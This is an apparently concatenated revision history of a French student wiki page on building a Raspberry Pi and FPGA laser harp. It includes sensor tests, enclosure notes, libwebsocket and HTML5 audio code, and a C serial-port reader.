boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}</pre>

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

<pre>websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};</pre>

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.
==== Partie websocket et échange d'information ====
Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<pre><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

var son = document.getELementById("sound");
son.loop = true;

</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</pre>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, dont le port série était mal configuré.

==== Connexion série coté RPi ====
==== Connexion série coté RPi ====
Afin de lire sur la liaison séri du coté de RPi, nous avions écrit le code C suivant :
<pre>#include <stdio.h> /* Standard input/output definitions */
#include <string.h> /* String function definitions */
#include <unistd.h> /* UNIX standard function definitions */
#include <fcntl.h> /* File control definitions */
#include <errno.h> /* Error number definitions */
#include <termios.h> /* POSIX terminal control definitions */

// Lecture port série

typedef int serialPort;
serialPort SerialLib_open(const char * portPath);

int main(int argc, char **argv) {
serialPort p = SerialLib_open("/dev/ttyAMA0");
char buffer[1];
printf("ouverture reussi\n");

while(1){

printf("lecture d'un caractere\n");
read(p, buffer ,1);

printf("Message recu: %s \n",buffer);
}
return 0;
}

/**
* Ouverture du port
*
*
*/
serialPort SerialLib_open(const char * serialPortPath) {
int fd;

fd = open(serialPortPath, O_RDWR | O_NOCTTY);
if (fd == -1) {

printf("Could not open the serial port : %s - ", serialPortPath);
}else {
fcntl(fd, F_SETFL, 0);
}
return (serialPort)fd;
}
</pre>

Ce code, combiné avec le programme sur l'Arduino, était sensé permettre la réception d'un caractère sur le RPi et l'afficher sur la sortie standard sur RPi.
Nous avons eu beaucoup de problème à recevoir notre message avec ce code : en effet, pour une raison qui nous reste inconnue, le programme permet la réception des caractères voulus, mais sur une courte période de temps, puis après cette période, aucun caractère n'est reçu, que l'on relance le serveur ou l'arduino.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T11:01:33Z

Bcartier : /* Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

<pre>static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}
</pre>
Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

<pre>window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}</pre>

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

<pre>int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}</pre>

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
<pre>while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}</pre>

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

<pre>websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};</pre>

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.
==== Partie websocket et échange d'information ====
Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<pre><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

var son = document.getELementById("sound");
son.loop = true;

</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</pre>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, dont le port série était mal configuré.

==== Connexion série coté RPi ====

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T11:00:37Z

Bcartier : /* Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

